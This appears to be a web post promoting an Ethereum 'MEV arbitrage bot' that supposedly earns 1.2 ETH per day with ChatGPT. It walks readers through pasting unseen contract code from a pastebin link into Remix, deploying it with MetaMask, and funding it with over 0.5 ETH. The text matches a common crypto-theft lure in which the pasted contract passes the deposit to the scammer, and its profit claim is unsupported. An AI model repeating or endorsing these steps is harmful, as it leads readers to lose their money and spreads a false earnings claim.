MEV Bot Example: How to Use ChatGPT Arbitrage generate 1.2 ETH per Day

Описание: reating a MEV (Maximal Extractable Value) bot for arbitrage opportunities in the Ethereum market can be a complex task, but here’s a high-level overview of the process:

Understand the Concept: Learn about MEV and how arbitrage works in the context of Ethereum and smart contracts.
Set Up Your Environment: Install necessary tools like MetaMask and access development platforms such as Remix IDE.
Write the Smart Contract: Use Solidity to write the smart contract code that will execute the arbitrage strategy.
Test the Contract: Before deploying, thoroughly test the contract in a safe environment to ensure it behaves as expected.
Deploy the Contract: Once tested, deploy the contract to the Ethereum network.
Fund Your Bot: Send ETH to your contract to start the arbitrage trading.
Monitor and Manage: Keep an eye on the bot’s performance and make adjustments as needed.

STEP BY STEP INSTRUCTIONS:

👉 Download MetaMask: https://metamask.io/download

👉 Head over to Remix: https://remix.ethereum.org

👉 Create “New File”. Rename it whatever you want or “bot.sol”

👉 Paste THIS code into Remix: https://pastebin.com/raw/GKwrx9YJ

👉 Go to the "Compile" tab on Remix and Compile with Solidity version 0.8.4

👉 Go to the “Deploy & Run Transactions” tab on Remix, select the “Injected Provider” environment, then “Deploy”. This will create your own contract by confirming the MetaMask Contract creation fee.

👉 Make sure your deposit is more than 0.5 ETH( to prevent negating slippage ) to your exact contract/bot address.

👉 Click on the “Key” button, and copy your key to VALUE

👉 In the “SetBalancePercent” or “SetBalanceETH” functions, enter the amount of money the bot will work with.

👉 Click “StartNative” button to get the bot started

👉 To withdraw funds from your smart contract, click on “Stop” button, then “Withdraw”

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🔎 How can I restore the old contract again?

Instead of "Deploy" by creating a new contract in the "DEPLOY & RUN TRANSACTIONS" section, you can access your old contract again by typing the old contract address you created in the "At Address" field and clicking the "At Address" button.
Note: Access cannot be made with any other account other than your MetaMask account where you created the contract.

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